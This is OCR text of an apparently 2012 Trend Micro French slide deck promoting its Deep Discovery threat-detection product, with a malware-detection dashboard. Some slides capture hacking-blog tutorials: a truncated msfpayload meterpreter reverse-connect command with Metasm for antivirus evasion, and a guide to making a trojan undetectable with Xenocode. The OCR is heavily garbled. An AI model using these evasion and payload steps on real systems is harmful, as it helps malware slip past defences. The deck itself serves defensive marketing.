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De multiples techniques d’intrusion
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/I Le malware Duqu exploite une faille zero-day de Windows

Publiée par Audrey Oeillet le Mercredi 2 Novembrg

L'enquéte concernant W32.Duqu, le nouveau malware qui inquiéte le Web mondial, progresse : des

=] Using Metasm To Avoid Antivirus Detection

le ver contaminait les PC infectés. Une faille jusque-la
e d'entrée.

(Ghost Writing ASM)

January 25th, 2012 | Author: r3dy
Building Qur Malicious Executal

First we will build the malicious executable using msfpa

{4

5 ./msfpayload windows/meterpre|
LEORT=443 R > raw binary

In the above command you should change "192.168.
victim to connect back to.

The Metasm Ruby Library

Now that we have created a “raw” binary fie we have
language or Assembly Code. To do this we wil use the
the metasploit framework. In order for the library to fu
and metasm directory into your system’s ruby installa

44

cd ~/tools/metasploit/lib/metasy
cp -a metasm.rb metasm /opt/locs
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[ s | Make Trojan Fully Undetectable (FUD) using Xenocode
A few weeks before, we had posted on how you can make your trojan using
LostDoor. But the problem with the so formed trojan is it being detected by almost all )
AV softwares. We know that after leaming to make your own trojan, the next thing foi
you must've exhausted your bandwidth searching for is: "How fo make a Trojan ter
undetectable?" Well here is the answer.
nce
First of all you'll have to download Xenocode (Never heard of it? We can't help it |

google ity

Xenocode is a set of application virtualization and portable application creation

technologies developed by Code Systems Corporation.

Applications are packed into single executable files that can be executed instantly on

any Windows deskiop (so called "portable apps"). The technology therefore emulates only the operation system
features that are necessary for the application to run. Applications can be deployed using existing infrastructure,
software deployment tools, the web or USB keys. The virtualized application runs independently from other software
that s installed on the host PC so there are no conflicts between different versions or DLL files.

Well, reading the above introduction must've got you acquainted you with xenocode application. You might be

2012: début de I'ére des guerres
cybernétiques
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Nombreaux spécialistes de la sécurité informatique mettent en garde contre les guerres cybernétiques qui
risquent de voir le jour pendant I'année 2012.

De nombreuses attaques pourraient &tre mises sur pied grice aux avancées technologiques réalisées en
matiére de vol de données et d’espionnage.

Les Etats-Unis, le Royaume-Uni, I'Allemagne, Inde et la Chine disposent déja d'unités spéciales de hackers et de
centres techniques pour protéger leurs bases de données stratégiques et &tre en mesure de faire face a d'éventuelles
cyberattaques.

L'expert Loren Thompson a écrit dans la revue Forbes que I'échelle et l'intensité de I'offensive cybemétique chinoise contre
les Etats-Unis étaient devenues bien trop virulentes pour que Washington I'ignore, et tant que Pékin n'affichera pas son
intention de la minimiser, les Américains devront prendre des mesures plus percutantes. Au cours de ces deux demiéres
années, les spécialistes ont relevé une hausse du nombre d'attaques informatiques visant & dérober des données
classées secrétes a plusieurs agences gouvernementales,

corporations, entreprises du secteur de la défense et organisations scientifiques. résume le magazine PCWorld. Rick
Ferguson, directeur de recherche chez Trend Micro, explique que des programmes de logiciels malveillants tels que les
virus Stuxnet et DuQu, concus pour faire de I'espionnage industriel, sont de bons exemples de ce qui se prépare.
Toutefois, il assure que ce type d'attaques exige des compétences professionnelles de haut niveau et un soutien financier
conséquent.

De nombreux spécialistes conseillent déja aux entreprises et aux gouvernements de prendre trés au sérieux la menace de
cyberattaques réalisées au moyen de logiciels moins sophistiqués, comme pour les opérations Aurora, Shady RAT ou
Nitro. Ces « outils d'administration a distance » (RAT, Remote Administration Tool en anglais) ont, ces derniéres années,
affecté des dizaines d'organisations dans le monde entier.

Publié par Pressenza

wondering, how this application will help you in making your Trojan undetectable

Xenocode creates a virtual operating system for processing the files you have virtualized and hence it completely
overwrites your code. As you may know, AV softwares use virus signatures to identify viruses. There are ways in which
you can make a trojan undetectable by modifying the Hex code, but it is very tedious. Using xenocode alleviates the
pain to a negligible level. The only pain you will have is to grab a full version of the application. Keep in mind that trial
version xenocode does not create virtual applications. When you will click on the build button, it will prompt you to
purchase license. We hope you understand what we mean to say implicitly.
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Des breches existantes dans le SSI

Generic malware IP/Port scan  Known exploit

Javascript Polymorphic

loi :
BRI S bfuscation payload

T
ay AV avoidance Encrypted code

Generic phishing Known malicious website

98 % des attaques viennent de I'extérieur
 Exploitation de vulnérabilités, 81 %
« Utilisation de malware, 69 %

Verizon Data Breach Investigation Report 2012
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True-type

Deep Discovery

Visibilité temps-réel de la securité du Si

» 80+ protocoles décodeés : HTTP, SMTP, CIFS, P2P, IM...
» Détection des documents scriptés, vulnérabilités navigateur...
* Moteur anti-malware avec analyse heuristique

» Analyse des flux réseau : IP, URL, domaine...

Protection contre les menaces avancées

« Simulation des fichiers a risque en environnement virtualisé

« Corrélation des eévenements générés pour eviter les faux positifs

9/16/2012 Confidential | Copyright 2012 Trend Micro Inc. 5



Protection « tout-en-un »...

Deep Discovery Inspector <2 24

» Modele harware, software & virtual appliance
» Tout embarqué %
* Performance et efficacité /

* Aucun impact sur l'infrastructure

» Jusqu’a plusieurs Gbps de traitement
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. OU un écosysteme global

Deep Discovery Advisor & Inspector

« Administration & reporting centralisée multi-sonde

* Version hardware ou software

» Détection d’évenement suspicieux
« Multi « sandbox » personnalisées F

* Plugin pour les solutions Trend Micro*

DDI u
 Intégration SIEM existant \ / // W

Ny /'y

DDA
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Simplicite d'analyse

Top Hosts with Malware Detected [LIEF. = B 4

Period: | Past 24 Hours Last refreshed at 2012-02-10 10:51 AM
Top 10 Hosts with Malware Detected
10.7.0.7
Detection Details %] AT e
172.17.0.17
Name Email contains a suspicious link to a possible phishing site. % 172.232.0.23
Severity High 5 10.0.1.0
Type Suspicious Behavior E 10.1.0.1
2 - ", .1.1.
Threat Behaviors by Catego & o -
10.2.0.2
- 1 10.3.1.3
ortectons @ |[ i@y | Antostart or other system reconfiguration | : 4 . - 1 ] |
5 Export Behavior Details l Total Detections '
Detecti [ Comesionveiate | Added autorun in registry KEY: [HKEY_ - ware Microsof WindowsCurrentVersion Ruz! {2
2012.02-10 01:18:46 i i 4E47041-7491-AD41-EEE3-FB62C3F3IDET0} ]
| flpy - - -
2012:02-10 00:38:46 AT sure AT DATA: ["*%APPDATA % Huboviumbu exe"]
TYPE: [REG_S7]
[=] Host Destination
IP Address: 1P Address: - - - -
e s Deception. social engineering
Port: Port: . i
12121 25 Behavior Dretails
MAC Address: MAC Address:
00:00:e2:63:01-¢f (Acer Technologi 00:00:0¢:07:ac-01 (Gisco Syste - : . -
Groupr thcer Technclodes) o (G Sele A bnormal versien info The file has no company information.
Default Default
Network Zone: Network Zone: File drop, download, sharing, or replication
Trusted Trusted
I=Lsre Behavior Details
Deeleted self The executable "% Vims%\0d23b357aea2 6dd2 57 9aff3cald02582f0c653 T exe” will
remove itself once executng.
172.17.0.17 Process, service, or memory object change
:E IP Address:  172.17.0.17 Hostname: 172.17.0.17 Behavior Detail:
MAC Address: 00:00:e2:63.01:cf  Group: Default —
[ Export Total: 5
Severity + Threat Type First detected Last detected Detections
High Email contains a suspicious link to a possible phishing site. Suspicious Behavior 2012-02-10 00:33:46 2012-02-1001:18:46 2
High Email message contains a suspicious link to a possible phishing site Malicious Behavior 2012-02-10 00:33:46 2012-02-10 01:18:46 2
Informational Web Reputafion Services detected a suspicious URL. Web Reputafion 2012-02-10 00:58:50 2012-02-10 00:58:50 1




Soyez prét

« Solution automatisée et dynamique
« Detection des menaces sur de multiples vecteurs

» Accés détaillé aux logs & rapports d’analyses

Threat Intelligence inside

* Acces aux informations détaillées sur vos menaces

TrendLabs

» Profitez de I'expertise Trend Micro de facon automatisée
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Securing Your Journey
to the Cloud




